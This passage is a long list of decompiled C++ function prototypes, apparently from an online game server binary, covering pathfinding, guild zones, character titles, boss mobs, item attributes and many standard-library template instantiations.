_Where, unsigned int _Count, GUILD_TOURNAMENT_LVGAP *const *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Buynode(...); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); int std::_Tree>_std::less_std::allocator>>>_0>>::_Insert(...); int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...); int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...); void __thiscall std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this); void __thiscall std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this); std::vector > *__thiscall std::map>_std::less_std::allocator>>>>::operator__(std::map >,std::less,std::allocator > > > > *this, const int *_Keyval); int __cdecl GuildTournamentLvGapTable::BalanceScoreMediate(int nType, int nScore, int nMurderLevel, int nVictimLevel); bool __thiscall GuildTournamentLvGapTable::DataProcess(GuildTournamentLvGapTable *this); char __thiscall LevelGap_Player_to_Player::GetID(LevelGap_Player_to_Player *this, DamageLvGapPVP *pkRecord); int __cdecl LevelGap_Player_to_Player::GetLevelCapRate(int nAttPlayerLv, int nDefPlayerLv); int __cdecl LevelGap_Player_to_Monster::GetLevelCapRate(int nPlayerLv, int nMonsterLv); int __cdecl LevelGap_Monster_to_Player::GetLevelCapRate(int nMonsterLv, int nPlayerLv); bool __cdecl MysteryVaultTable::IsCheckClassType(ChrClassType CheckType, char classid); void __thiscall std::_Tree_std::allocator>_1>>::_Lrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode); std::_Tree_nod,std::allocator >,0> >::_Node *__thiscall std::_Tree_std::allocator>_1>>::_Buynode(std::_Tree,std::allocator >,0> > *this); std::_Tree_nod,std::allocator >,0> >::_Node *__thiscall std::_Tree_std::allocator>_1>>::_Buynode(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Larg, std::_Tree_nod,std::allocator >,0> >::_Node *_Parg, std::_Tree_nod,std::allocator >,0> >::_Node *_Rarg, std::pair *_Val, char _Carg); void __thiscall std::_Tree_std::allocator>_1>>::_Erase(std::_Tree,std::allocator >,1> > *this, std::_Tree_nod,std::allocator >,1> >::_Node *_Rootnode); std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::Getloweriter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid); std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::GetUpperiter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid); std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::_Insert(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,1> >::_Node *_Wherenode, std::pair *_Val); std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::erase(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, std::_Tree,std::allocator >,1> >::iterator _Where); std::pair,std::allocator >,1> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_1>>::insert(std::_Tree,std::allocator >,1> > *this, std::pair,std::allocator >,1> >::iterator,bool> *result, std::pair *_Val); int std::_Tree_std::allocator>_1>>::erase(...); bool __thiscall MysteryVaultTable::DataProcess(MysteryVaultTable *this); void __thiscall std::multimap_std::allocator>>::_multimap_std::allocator>>(std::multimap,std::allocator > > *this); void __thiscall std::map_std::allocator>>::map_std::allocator>>(std::map,std::allocator > > *this); void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this); void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this, unsigned int x, unsigned int y); void __thiscall Navigator::MapNavigator::_MapNavigator(Navigator::MapNavigator *this); void __cdecl std::fill(SHINE_XY_TYPE *_First, SHINE_XY_TYPE *_Last, SHINE_XY_TYPE *_Val); TickTimer *__cdecl std::_Copy_backward_opt(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall Navigator::PathFindBuffer::PathFindBuffer(Navigator::PathFindBuffer *this, int buffersize); Navigator::PathFindCell *__thiscall Navigator::PathFindBuffer::operator__(Navigator::PathFindBuffer *this, Navigator::UnitPoint pnt); void __thiscall Navigator::MapNavigator::MapNavigator(Navigator::MapNavigator *this, int buffersize, int stepsize); int __thiscall Navigator::MapNavigator::mn_ExitFromBlock(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int *startx, unsigned int *starty); SHINE_XY_TYPE *__cdecl std::copy_backward(SHINE_XY_TYPE *_First, SHINE_XY_TYPE *_Last, SHINE_XY_TYPE *_Dest); void __cdecl std::_Uninit_fill_n>(SHINE_XY_TYPE *_First, unsigned int _Count, SHINE_XY_TYPE *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); TickTimer *__cdecl std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(TickTimer *_First, unsigned int _Count, TickTimer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); bool __thiscall Navigator::WaitingList::wl_Pop(Navigator::WaitingList *this, int *x, int *y); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPointWithDistance *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPoint *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPoint _Val); void *__thiscall std::vector>::operator_(void *_Al, int __formal); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPointWithDistance _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, Navigator::NaviPoint *_Val); void __thiscall Navigator::WaitingList::WaitingList(Navigator::WaitingList *this); void __thiscall Navigator::WaitingList::wl_Push(Navigator::WaitingList *this, int x, int y, int d); int __thiscall Navigator::WaitingList::wl_StoreNeighbor(Navigator::WaitingList *this, Navigator::PathFindArgument *pfarg, int centerx, int centery, Navigator::UnitPoint *goal, int stepsize, Navigator::NaviPoint *start); void __thiscall std::vector>::push_back(std::vector > *this, Navigator::UnitPoint *_Val); void __thiscall std::vector>::push_back(std::vector > *this, Navigator::NaviPoint *_Val); int __thiscall Navigator::MapNavigator::nm_MakePath(Navigator::MapNavigator *this, Navigator::VirtualMap *map, Navigator::UnitPoint goal, Navigator::NaviPoint *start, int maxdepth, StaticVector *pathbuffer); void __thiscall Navigator::PathAnalyzer::pa_Analyze(Navigator::PathAnalyzer *this); int __thiscall Navigator::MapNavigator::mn_Search(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathbuffer); int __thiscall Navigator::MapNavigator::mn_PathFind(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathfindvector); void __thiscall Navigator::VirtualMap::VirtualMap(Navigator::VirtualMap *this, #585 *map); int __thiscall Navigator::VirtualMap::vm_DistanceCalc(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB); int __thiscall Navigator::VirtualMap::vm_IsBlocked(Navigator::VirtualMap *this, int x, int y); int __thiscall Navigator::VirtualMap::vm_IsStreight(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB); Navigator::NaviPoint *__thiscall Navigator::VirtualMap::vm_FindBlock(Navigator::VirtualMap *this, Navigator::NaviPoint *result, int xA, int yA, int xB, int yB); void __thiscall CCharacterTitleZone::CCharacterTitleZone(CCharacterTitleZone *this, CCharacterTitleData *pCharacterTitleData); void __thiscall ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr(ShineObjectClass::ShinePlayer::MiniHouseStr *this); void __thiscall CCharacterTitleZone::ctz_SetObject(CCharacterTitleZone *this, #325 *pPlayer); void __thiscall CCharacterTitleZone::InitNewPlayer(CCharacterTitleZone *this, int bFirstConnect); int __thiscall CCharacterTitleZone::SetTitleStatusZone(CCharacterTitleZone *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue); void __thiscall CCharacterTitleZone::Send_NC_CT_SET_CURRENT_ACK(CCharacterTitleZone *this, char Type, char ElementNo, unsigned __int16 MobID, unsigned __int16 Error); void __thiscall CCharacterTitleZone::Send_NC_CT_SET_CMD(CCharacterTitleZone *this, CT_INFO *pInfo); void __thiscall CCharacterTitleZone::Send_NC_CT_DB_SET_CMD(CCharacterTitleZone *this, CT_INFO *pInfo); int __thiscall CCharacterTitleZone::SetTitleStatus(CCharacterTitleZone *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue); int __thiscall CCharacterTitleZone::SetTitleUsable(CCharacterTitleZone *this, char Type, char ElementNo); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ(void *this, WEAPON_TITLE_DATA *netcmd, int pWTData, __int16 handle); int __thiscall CCharacterTitleZone::CheckNewTitle(CCharacterTitleZone *this, char Type); void __thiscall CCharacterTitleZone::CT_MoneyGive(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nTo); void __thiscall CCharacterTitleZone::CT_MoneyBeg(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nFrom); void __thiscall CCharacterTitleZone::CT_KilledByMob(CCharacterTitleZone *this, unsigned __int16 nMobID, unsigned __int16 nMobHandle); void __thiscall CCharacterTitleZone::CT_KillMob(CCharacterTitleZone *this, unsigned __int16 nMobID); void __thiscall CCharacterTitleZone::CT_PartyJoin(CCharacterTitleZone *this, unsigned __int16 nPartyNo, int nNumOfMember); void __thiscall CCharacterTitleZone::CT_KQJoin(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_KQSuccess(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_KQFail(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_SellNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, unsigned __int16 nNPCID); void __thiscall CCharacterTitleZone::CT_BuyNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, unsigned __int16 nNPCID); void __thiscall CCharacterTitleZone::CT_ItemUpSuccess(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel); void __thiscall CCharacterTitleZone::CT_ItemUpFail(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel); void __thiscall CCharacterTitleZone::CT_ItemUpDestroy(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel); void __thiscall CCharacterTitleZone::CT_AddFrined(CCharacterTitleZone *this, unsigned __int16 nNumOfFriend); void __thiscall CCharacterTitleZone::CT_QuestSuccess(CCharacterTitleZone *this, unsigned __int16 nQuestID); void __thiscall CCharacterTitleZone::CT_Chatting(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_BroadCast(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_LevelUp(CCharacterTitleZone *this, char nLevel); void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiWin(CCharacterTitleZone *this, unsigned __int16 nWinCnt); void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiSet(CCharacterTitleZone *this); int __thiscall CCharacterTitleZone::ProcessTitle(CCharacterTitleZone *this); void __thiscall IObserver::_IObserver(ItemSmallBag *this); unsigned __int16 __thiscall IObserver::notify(IObserver *this, #325 *, #325 *, IObserver::Event, const unsigned int, const int, unsigned int); void __thiscall Observer::Observer(Observer *this, #325 *, IObserver *); bool __thiscall Observer::operator__(Observer *this, Observer *other); unsigned __int16 __thiscall Observer::notify(Observer *this, #325 *, #325 *, IObserver::Event, const unsigned int, const int, unsigned int); bool __thiscall Observer::needToAttach(Observer *this); void __thiscall GUILD_ZONE::GUILD_ZONE(GUILD_ZONE *this); int __thiscall GUILD_ZONE::operator_(int this, int a2); unsigned int __thiscall ItemAttrCls_ByteLot::iac_GetAttrSize(ItemAttrCls_WeaponTitlaLicence *this, SHINE_ITEM_ATTRIBUTE *itmattr); void __thiscall List::_List(List *this); void __thiscall CGuildZone::GUILD_ZONE_LIST::GUILD_ZONE_LIST(CGuildZone::GUILD_ZONE_LIST *this); void __thiscall CGuildZone::_CGuildZone(CGuildZone *this); int __thiscall CGuildZone::Add(CGuildZone *this, GUILD_ZONE *pGuildZone); int __thiscall CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ(CGuildZone *this); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_MAKE_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_MAKE_CMD *pCmd); char __thiscall List::l_PushA(List *this, CGuildZone::GUILD_ZONE_LIST *ele); char __thiscall List::l_PushZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele); char __thiscall List::l_PopA(List *this, CGuildZone::GUILD_ZONE_LIST *ele); char __thiscall List::l_PopZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele); void __thiscall CGuildZone::ClearWar(CGuildZone *this); CGuildZone::GUILD_ZONE_LIST *__thiscall CGuildZone::Find(CGuildZone *this, unsigned int nNo); int __thiscall CGuildZone::IsGuildEnemy(CGuildZone *this, unsigned int nGuild1, unsigned int nGuild2); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_START_CMD *pCmd); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_END_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_END_CMD *pCmd); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_LIST_ACK(CGuildZone *this, PROTO_NC_GUILD_ZONE_LIST_ACK *pAck); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_DELETE_CMD *pCmd); void __thiscall CGuildZone::CGuildZone(CGuildZone *this); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_TimerReset(BossFieldContent::ServentBuffBossTable *this); void __cdecl ShineObjectClass::ShineMobileObject::smo_BossAbstateSet(); int __thiscall ShineObjectClass::ShineMob::sm_BossAbstateGet(void *this); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); #325 **__cdecl std::copy_backward(#325 **, #325 **, #325 **); std::list,std::allocator > >::iterator *__cdecl std::copy_backward_std::allocator>>::iterator___std::list_std::allocator>>::iterator__>(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest); ABSTATEINDEX *__cdecl std::copy(ABSTATEINDEX *_First, ABSTATEINDEX *_Last, ABSTATEINDEX *_Dest); std::list,std::allocator > >::iterator *__cdecl std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal); int std::_Tree_std::allocator_0>>::_Buynode(...); int std::_Tree_std::allocator_0>>::_Buynode(...); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); void __cdecl std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>(std::list,std::allocator > >::iterator *_First, unsigned int _Count, std::list,std::allocator > >::iterator *_Val, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal); int __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_AbstateCheck(BossFieldContent::MobAbstateCheckAtDead *this, List *lst); int std::_Tree_std::allocator_0>>::find(...); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, BossFieldContent::MobAutomaticAction *_Keyval); std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ucopy(std::allocator,std::allocator > >::iterator> *_Al, std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *__formal); BossFieldContent::ServentBuffBossTable::ServentBossTable *__thiscall BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer(BossFieldContent::ServentBuffBossTable *this, unsigned __int16 ID); void __thiscall ShineObjectClass::ShineMob::sm_IBuffToBuffee(void *this); BossFieldContent::MobAbstateCheckAtDead *__thiscall BossFieldContent::ListOfMobStateCheckAtDead::operator__(BossFieldContent::ListOfMobStateCheckAtDead *this, unsigned __int16 mobid); void __thiscall ShineObjectClass::ShineMob::smo_BossAbstateSet(void *this); void __thiscall BossFieldContent::MobAutomaticActionList::maal_MobDamaged(BossFieldContent::MobAutomaticActionList *this, unsigned __int16 mobid, #325 *attacker); std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ufill(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Ptr, unsigned int _Count, std::list,std::allocator > >::iterator *_Val); int std::_Tree_std::allocator_0>>::_Insert(...); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, BossFieldContent::MobAutomaticAction *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); int std::_Tree_std::allocator_0>>::erase(...); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); void __thiscall FamilyMobManagement::FamilyMob::_FamilyMob(KQContribute::PlayerList *this); int std::_Tree_std::allocator_0>>::insert(...); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, BossFieldContent::MobAutomaticAction *_Val); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const int *_Val); int std::_Tree_std::allocator_0>>::erase(...); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ABSTATEINDEX *_Val); int std::_Tree_std::allocator_0>>::erase(...); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); void *__thiscall std::vector>::operator_(void *_Al, int __formal); void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_Load(BossFieldContent::ServentBuffBossTable *this); void __thiscall BossFieldContent::MobAutomaticActionList::maal_Load(BossFieldContent::MobAutomaticActionList *this); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, int _Val); BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Copy_backward_opt(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::push_back(std::vector > *this, ABSTATEINDEX *_Val); void __cdecl std::fill(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Val); BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Uninit_copy>(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall BossFieldContent::ServentBuffBossTable::_ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this); void __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_PushBack(BossFieldContent::MobAbstateCheckAtDead *this, ABSTATEINDEX idx, StateDropType dt); void __thiscall BossFieldContent::MobAutomaticActionList::_MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this); void __cdecl std::_Uninit_fill_n>(BossFieldContent::MobAbstateCheckAtDead *_First, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall BossFieldContent::ServentBuffBossTable::ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this); void __thiscall BossFieldContent::MobAutomaticActionList::MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this); BossFieldContent::MobAbstateCheckAtDead *__thiscall std::vector>::_Ufill(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Ptr, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, BossFieldContent::MobAbstateCheckAtDead *_Val); void __thiscall std::vector>::push_back(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Val); void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this); void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::_ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this); void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load(BossFieldContent::ListOfMobStateCheckAtDead *this); // int __stdcall closesocket(SOCKET s); // int __stdcall shutdown(SOCKET s, int how); void __thiscall AssertClass::ac_DateTime(AssertClass *this); void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, const char *flag); void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag); void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag1, int flag2); void __cdecl ShineExit(char *where); void __thiscall BTree::BTree(BTree *this); void __thiscall BTree::_BTree(BTree *this); int __thiscall BTree::bt_Insert(BTree *this, const char *string, unsigned int id); unsigned int __thiscall BTree::operator__(BTree *this, const char *string); int __thiscall BTree::bt_Insert(BTree *this, const char *string, unsigned int id); unsigned int __thiscall BTree::operator__(BTree *this, const char *string); void __thiscall ShineScript::ss_Load(ShineScript *this, Name4 *world, const char *scriptname); void __thiscall KQScriptManager::KQScriptManager(KQScriptManager *this); void __thiscall KQScriptManager::_KQScriptManager(KQScriptManager *this); void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world, char *name); ShineScript *__thiscall KQScriptManager::operator__(KQScriptManager *this, char *name); void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world); int __thiscall RandomBox::rb_largerandom(RandomBox *this, int rnd); void __thiscall RandomSlot::RandomSlot(RandomSlot *this); void __thiscall RandomSlot::rs_Init(RandomSlot *this, int limit); void __thiscall RandomBox::RandomBox(RandomBox *this); void __thiscall RandomBox::_RandomBox(RandomBox *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MobResistTable::MobResistTable(MobResistTable *this); void __thiscall MobResistTable::mrt_Load(MobResistTable *this); MobResist *__thiscall MobResistTable::operator__(MobResistTable *this, unsigned __int16 idx); unsigned __int16 __thiscall MobResistTable::operator__(MobResistTable *this, char *index); FieldOption::FieldAttr *__thiscall FieldOption::fo_GetFieldAttr(FieldOption *this, char *mapname); int __thiscall FieldOption::fo_GetMechineNumber(FieldOption *this, char *servergroup, unsigned int serial, int mymachine); void __thiscall FieldOption::fo_Store(FieldOption *this, FieldOption::FieldAttr *fldtemplet); ItemAttributeClass *__thiscall ItemAttributeClassContainer::operator__(ItemAttributeClassContainer *this, unsigned __int16 itmid); int __thiscall ItemAttributeClass::iac_ItemClass(ItemAttributeClass *this); unsigned int __thiscall ItemAttrCls_ByteLot::iac_GetLot(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm); void __thiscall ItemAttrCls_ByteLot::iac_SetLot(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, unsigned int lot); int __thiscall ItemAttrCls_WordLot::iac_GetLot(ItemAttrCls_KQStep *this, SHINE_ITEM_STRUCT *itm); void __thiscall ItemAttrCls_QuestLot::iac_SetLot(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, unsigned int lot); int __thiscall std::codecvt_base::do_encoding(ORFieldIndex *this); void __thiscall ItemAttrCls_Amount::iac_SetAmount(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm, int amount); int __thiscall CharClassFighter::cc_PromoteClass(ORFieldString *this); int __thiscall ORColumnHeaderByte::orch_FieldType(ORFieldByte *this); int __thiscall CharClassGladiator::cc_PromoteClass(ORFieldWord *this); int __thiscall ItemAttrCls_Amulet::iac_Getupgrade(ItemAttrCls_Amulet *this, ItemTotalInformation *itm); ShineDateTime *__thiscall ItemAttrCls_Weapon::iac_GetDeteleDateTime(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm); int __thiscall CharClassKnight::cc_PromoteClass(ORFieldDwrd *this); int __thiscall ItemAttrCls_Armor::iac_Getupgrade(ItemAttrCls_Boot *this, ItemTotalInformation *itm); int __thiscall CharClassCleric::cc_ClassType(ItemAttrCls_Armor *this); int __thiscall CharClassHighCleric::cc_ClassType(ItemAttrCls_Shield *this); int __thiscall CharClassPaladin::cc_ClassType(ItemAttrCls_Boot *this); ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetDeteleDateTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm); int __thiscall ItemAttrCls_Furniture::iac_ItemClass(ItemAttrCls_Furniture *this); ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetEndureEndTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm); int __thiscall CharClassGuardian::cc_ClassType(ItemAttrCls_Decoration *this); int __thiscall ItemAttrCls_SkillScroll::iac_ItemClass(ItemAttrCls_SkillScroll *this); int __thiscall 